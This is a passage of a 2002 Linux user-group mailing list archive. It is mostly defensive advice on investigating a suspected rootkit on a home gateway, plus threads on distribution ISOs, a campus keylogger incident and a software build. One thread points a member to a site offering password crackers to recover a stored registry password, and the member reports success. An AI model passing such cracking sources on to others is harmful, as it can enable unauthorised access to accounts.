iQA/AwUBPRCqEisk3ywszI1FEQJZDwCg0JBu1f1ffMgVts+N9FxVfc3GwRgAoI3a uqHWgWriXgbXcZvWptly5CtJ =tKg8 -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:10:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 12:10:26 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> ok, done all of this (even written them to a text file for later review). so far, I don't see anything unusual. I have a couple of non-standard (installed myself) servers running here (ircd and opennap) and I know which ports those are on. everything else appears to be as normal (including their port assignmanets). I'vew also verified all packages on the "infected" machine and found no discrepencies that wouldn't be accounted for (some conf files were changed, but those I already know about as I was the one that modified them). everything else checks out. as a safety measure when I first found an intruder on my system some weeks back, I changed all passwords, ran chattr +ui on some specified directories (/bin, /sbin, /usr/bin, /usr/bin/X11R6, /usr/sbin) to make sure the files couldn't be modified without my knowing about it (this at the suggestion of tom perry). I checked the package verification against a log of the last time I did so,. which was 4 weeks ago) and noted only minor changes (mostly in some logs and 1 or 2 conf files that I know about). The kernel on this box does not have modules support (not needed as this is a gateway box for my lan and I only needed certain items (such as the devices on board and iptables) compiled in. this was specifically to prevent the introduction of "hijacked" modules. as it is, I was thinking ahead security wise when I placed this unit online. anything else I should be doing? Technomage On Wednesday 19 June 2002 07:59 am, you wrote: > It's possible that the "lsof" command wasn't trojaned, since most root > kits don't check for it. Try "lsof -ni" and see if there's any difference > between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" > from another machine that you know hasn't been compromised (a fresh install > is best, and make sure it's the same arch/distro). If lsof shows an > unusual port, check to see what program is running in the far left column. > Locate that program and run "strings" on it to get more info. This should > get you started. Keep us updated on what you find. > Thanks, > ~M > -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:27:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 19 Jun 2002 12:27:41 -0700 Subject: gentoo 1.2 References: <200206180935.52647.zen2now@qwest.net> <20020618210224.GA27747@aries.evilmascot.com> <200206190901.00430.zen2now@qwest.net> Message-ID: <000d01c217c7$617e40b0$0301010a@tickticker.com> I always start at linuxiso.org and look at their mirrors anthony ----- Original Message ----- From: "slr" To: ; "Kyle O'Malley" Sent: Wednesday, June 19, 2002 9:01 AM Subject: Re: gentoo 1.2 > thanks very much for the info, but after further research on my part i have > decided to give the SUSE 7.3 sparc64 version a try, that is if i can get all > 5 disks before i die! know of a fast mirror? :~D > > slr > > On Tuesday 18 June 2002 02:02 pm, Kyle O'Malley wrote: > > The i686 disk has install stages 1-3 on the disk, they must be refering to > > the fact that if you build and compile starting from stage1 you can have a > > working system on any i386+ while stage3 has everything precompiled but > > only supports i686+. > > > > The last version I needed to install from was 1.1, which only included a > > i386 kernel to install from, I can't see how they'd some how muck install > > kernels for two diff architectures onto one cd (not to mention I doubt the > > el torito boodable cd standardworks on sparc machines). > > > > -Kyle > > > > On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > > > good morning plug, > > > > > > question for you guys familiar with gentoo. i > > > noticed they sell a SPARC version, but i also noticed this statement: > > > > > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from > > > Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will > > > allow a build from scratch for *all* systems, but also has pre-built > > > stuff for i686+ CPUs. > > > > > > the Note states that the i686 will allow a build from scratch on *all* > > > systems, does that include the Ultra Sparc II? i want to try gentoo on my > > > Ultra 5, because i have to many stability issues with MDK 7.1 corp. > > > server and i dont like working with Solaris 8. so gentoo sounds like a > > > great alternative for bringing new life to an over priced desktop. > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:28:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Anderson) Date: Wed, 19 Jun 2002 12:28:21 -0700 (PDT) Subject: ASU computer lab hacked In-Reply-To: Message-ID: <20020619192821.3257.qmail@web12206.mail.yahoo.com> Yes, only key logging was installed and only on a few open public access computers, not administrative computers or servers. Mark Anderson 602.435.7508 CEO- Neowav Internet Solutions, LLC. --- Patrick Fleming EA wrote: > > > My understanding was that key logging software was installed locally. > On Tue, 18 Jun 2002, bob smith wrote: > > > > > --- technomage wrote: > > > well, > > > if anyone didn't catch the 5 PM news, it appears > > > that the ASU computer lab > > > and some of the administration machines were hacked > > > into by someone > > > representing the russian mafia (thats what they said > > > on the news anyway). > > > > > > make take a look for it on www.phoenix360.com or any > > > of the other news > > > statiosn that have web pages. > > > > > > Technomage > > > > > > p. incidently, those machines were apples running a > > > pre-OSX OS > > > > Pre-OSX? OS 9? Any word on what was running on the > > machines that allowed whoever it was to gain access? I > > didn't think any software bundled by apple pre-OSX had > > a remote exploit that could be used? > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list > quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -- > Patrick Fleming, EA > http://myhdvest.com/patrickfleming > Licensed to represent taxpayers > before Exam, Appeals, and Conference > divisions of the IRS > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly > and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:55:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott Brewster) Date: Wed, 19 Jun 2002 12:55:09 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: <20020619195509.4110.qmail@web14008.mail.yahoo.com> --- technomage wrote: > ok, > as a safety measure when I first found an intruder on my system some weeks > back, I changed all passwords, ran chattr +ui on some specified directories Hmm.... the fact that you had an intruder is not a good sign. Even though you changed the passwords, etc, there may have already been someting in place that passed that info back to the intruder. Any idea on how long the intruder had access to your system? Personally, I would cut my loses - print (yes print) any config files that you want to re-implement, wipe the box and re-install from scratch. Or if you have the disk to spare, rebuild the system on a new disk. Once done, mount up the old disk - dont run anything from it - and give it a thorough going over - see if you can figure out what was done to compromise the system. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:00:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 13:00:23 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: You said you found an intruder on your box a few weeks back. Do you know how they got in? On Wed, 19 Jun 2002, technomage wrote: > ok, > done all of this (even written them to a text file for later review). so far, > I don't see anything unusual. I have a couple of non-standard (installed > myself) servers running here (ircd and opennap) and I know which ports those > are on. everything else appears to be as normal (including their port > assignmanets). > > I'vew also verified all packages on the "infected" machine and found no > discrepencies that wouldn't be accounted for (some conf files were changed, > but those I already know about as I was the one that modified them). > everything else checks out. > > as a safety measure when I first found an intruder on my system some weeks > back, I changed all passwords, ran chattr +ui on some specified directories > (/bin, /sbin, /usr/bin, /usr/bin/X11R6, /usr/sbin) to make sure the files > couldn't be modified without my knowing about it (this at the suggestion of > tom perry). I checked the package verification against a log of the last time > I did so,. which was 4 weeks ago) and noted only minor changes (mostly in > some logs and 1 or 2 conf files that I know about). > > The kernel on this box does not have modules support (not needed as this is a > gateway box for my lan and I only needed certain items (such as the devices > on board and iptables) compiled in. this was specifically to prevent the > introduction of "hijacked" modules. > > as it is, I was thinking ahead security wise when I placed this unit online. > > anything else I should be doing? > > Technomage > > On Wednesday 19 June 2002 07:59 am, you wrote: > > It's possible that the "lsof" command wasn't trojaned, since most root > > kits don't check for it. Try "lsof -ni" and see if there's any difference > > between "netstat -lp". If so, copy over a new "ps" and "ls" and "netstat" > > from another machine that you know hasn't been compromised (a fresh install > > is best, and make sure it's the same arch/distro). If lsof shows an > > unusual port, check to see what program is running in the far left column. > > Locate that program and run "strings" on it to get more info. This should > > get you started. Keep us updated on what you find. > > Thanks, > > ~M > > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:51:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 13:51:06 -0700 Subject: Ethical hacking/cracking In-Reply-To: <3D10BDB5.9070402@esaravana.com> References: <3D0FBA65.9060506@esaravana.com> <200206181629.36140.zen2now@qwest.net> <3D10BDB5.9070402@esaravana.com> Message-ID: <200206191351.06077.zen2now@qwest.net> Who me? just remember i didnt send you there. :~D slr On Wednesday 19 June 2002 10:21 am, Sundar wrote: > You are a dangerous man. I downloaded an application and it cracked > without a hassle. > > Thanks, > Sundar > > slr wrote: > >i didnt say this! > > > >but check out http://www.blackcode.com/, they several password crackers on > >their site. the only thing is you will have to register to download files. > > > >remember i didnt send you there. :~D > > > >slr > > > >On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > >>Hello, > >> > >>Would you guys know of hacking/cracking the password key stored in > >>Windows NT registry by an application? Application in question is 'Funk > >>Software Proxy' and it seems to have stored the password in binary form. > >> > >>(The guy who ghost imaged the system left the company and now we have to > >>connect to them.) > >> > >>Any help is appreciated > >> > >>Sundar > >> > >> > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:58:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 19 Jun 2002 13:58:04 -0700 (MST) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: On Wed, 19 Jun 2002, technomage wrote: > done all of this (even written them to a text file for later review). so far, > I don't see anything unusual. I have a couple of non-standard (installed > myself) servers running here (ircd and opennap) and I know which ports those > are on. everything else appears to be as normal (including their port > assignmanets). ...[SNIP]... > as it is, I was thinking ahead security wise when I placed this unit online. > > anything else I should be doing? Well, you should probably consider a remote security analysis scan to determine any vulnerabilities in your system/services and also to check for any backdoors that are now available. To do this, you could support a PLUG member and local business and visit Edgeos at http://www.edgeos.com. :) -- ~Jay From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:04:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 14:04:40 -0700 Subject: gentoo 1.2 In-Reply-To: <000d01c217c7$617e40b0$0301010a@tickticker.com> References: <200206180935.52647.zen2now@qwest.net> <200206190901.00430.zen2now@qwest.net> <000d01c217c7$617e40b0$0301010a@tickticker.com> Message-ID: <200206191404.40420.zen2now@qwest.net> wow!!! kewl site, i have added it to my BM's. thx for the link. slr On Wednesday 19 June 2002 12:27 pm, tickticker wrote: > linuxiso.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:48:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 14:48:02 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619195509.4110.qmail@web14008.mail.yahoo.com> References: <20020619195509.4110.qmail@web14008.mail.yahoo.com> Message-ID: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> according to the "last" command, he logged in as a user on one of my accounts and was on for 6 minutes. I checked elsewhere and found that there had been no other activity (even to checking the backups of some of the history files that are made each hour). after than, I checked to make sure there weren't any outbound connections to his IP range (there weren't). I used a clean box as a sniffer for this. I then proceeded to change all system passwords and user account passowrds. Then, I loaded clean versions of rpm, etc and proceeded to do a package verification. I even did md5 checksum comparisons and sig checking. I checked with a couple of folks I know in the computer security field (one of whom is currently serving duty with the US navy at their fascility in southern california (the USN Naval Post Graduate School). Given information from him (and others), I made an assumption that the intruder hadn't gotten very far into my system, and that since all passwords were changed immediately following the incident AND that the offending ip range (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other incursions until yesterday evening. what I find odd is that the incursion didn't stick. said "invisible processes" that wer recorded before aren't there now. just as a measure, I also made sure that my system has current patches for apache (which I do run a webserver here on port 8000) and I've tested any cgi scripts and other things using a tool called nessus. so far, after the last 12 hours, I can't seem to find any evidence that an incursion (intrusion) has taken place other than that 1 log entry written by chkrootkit that one time. so, I'm at a loss. am I trojaned or not? Technomage On Wednesday 19 June 2002 12:55 pm, you wrote: > --- technomage wrote: > > ok, > > > > > as a safety measure when I first found an intruder on my system some > > weeks back, I changed all passwords, ran chattr +ui on some specified > > directories > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > you changed the passwords, etc, there may have already been someting in > place that passed that info back to the intruder. Any idea on how long the > intruder had access to your system? > > Personally, I would cut my loses - print (yes print) any config files that > you want to re-implement, wipe the box and re-install from scratch. > > Or > > if you have the disk to spare, rebuild the system on a new disk. Once > done, mount up the old disk - dont run anything from it - and give it a > thorough going over - see if you can figure out what was done to compromise > the system. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:52:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 14:52:14 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619215213.XTFB1378.fed1mtao03.cox.net@there> yes, they used my user account (after having gained info from another rootkitted system at another location where I sometimes came in from (other place in town). the intrusion happened within days of the rootkitted machine being discovered at the other location (my account there also had the same password). However, I have a policy of now chaning passwords on a once-per-week basis (I have a random password generator here now). in any case, I don't think he got very far as I caught the intrusion initially only hours after it happened. Technomage On Wednesday 19 June 2002 01:00 pm, you wrote: > You said you found an intruder on your box a few weeks back. Do you know > how they got in? > -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 22:15:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 15:15:24 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: It's possible that those mystery processes only ran one time and covered up their activity afterwards, or maybe they run at some regular interval, who knows. Personally, I would sleep better at night after rebuilding the box. Also, I would recommend that you have different passwords for different sites. You don't want a security hole at one site completely opening your boxes at another site (as was the case with you). It's even better if each box has a different password from all the others. ~M On Wed, 19 Jun 2002, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 22:06:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 19 Jun 2002 15:06:18 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> References: <20020619195509.4110.qmail@web14008.mail.yahoo.com> <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: <1024524379.1365.0.camel@shiva.soulmachine.com> If you are unwilling to reinstall from scratch then at least replace your kernel and get fresh binaries for all base components (as much as /bin and /usr/bin as you can handle). On Wed, 2002-06-19 at 14:48, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 08:25:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Nash) Date: Wed, 19 Jun 2002 08:25:26 +0000 (UTC) Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: Have you considered structuring your partitions appropriately so things *can't* be replaced? An example would be mounting lib and binaries trees in read-only form, and requiring maintenance windows at the console to update them. Proper kernel restrictions like not allowing the use of mount under normal running conditions would cut down on rootkit implants under standard kiddie attempts. - billn On Wed, 19 Jun 2002, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 23:10:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Wed, 19 Jun 2002 16:10:02 -0700 Subject: Gnucash 1.6.6 References: <200206190037.18890.plug@the-arcanum.org> Message-ID: <3D110F4A.84214D16@earthlink.net> Well you got further than I did!! I tried on Mandrake 8.1 distro, but had trouble getting the various libs in and running. I'll be looking forward to your solution(s)! pete Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Has anyone built gnucash 1.6.6 ? > I built it tonight and everything went smooth, but when I try to load it, it > says slib is missing and I may need to create a symlink to slib in my guile > directory. > My guile is in /usr/share/guile > Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib > > I've tried as root and my user. > Anyone else have this problem? > > nathan > - -- > > Nathan England > plug@the-arcanum.org > jabber id: linuxjunkie@earth.jabber.li > > "A free society is one where it is safe to be unpopular." > -- Adlai Stevenson > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9EDSuQ7yNnsYcupwRAvJ0AJ9j7Amm7wC+0zjdLvhEby9FPuCIMQCeLvVr > u73LzZDYaZcmaR/zXWj68BE= > =JqV+ > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 23:34:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 19 Jun 2002 16:34:30 -0700 Subject: linuxiso.org - download just about every flavor there is References: <200206180935.52647.zen2now@qwest.net> <200206190901.00430.zen2now@qwest.net> <000d01c217c7$617e40b0$0301010a@tickticker.com> <200206191404.40420.zen2now@qwest.net> Message-ID: <007101c217e9$dc469ff0$0301010a@tickticker.com> For those of you that missed the thread.... www.linuxiso.org is THE place to get isos either directly or use their mirrors. however new packages can take up to a week to appear. Anthony ----- Original Message ----- From: "slr" To: ; "tickticker" Sent: Wednesday, June 19, 2002 2:04 PM Subject: Re: gentoo 1.2 > wow!!! kewl site, i have added it to my BM's. > thx for the link. > > slr > > On Wednesday 19 June 2002 12:27 pm, tickticker wrote: > > linuxiso.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:31:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 13:31:48 -0700 (MST) Subject: [PLUG-announce]PLUG announces intro to GNU/Linux classes Message-ID: moin, moin, starting on Wed, the 4th of Sep, 2002, PLUG 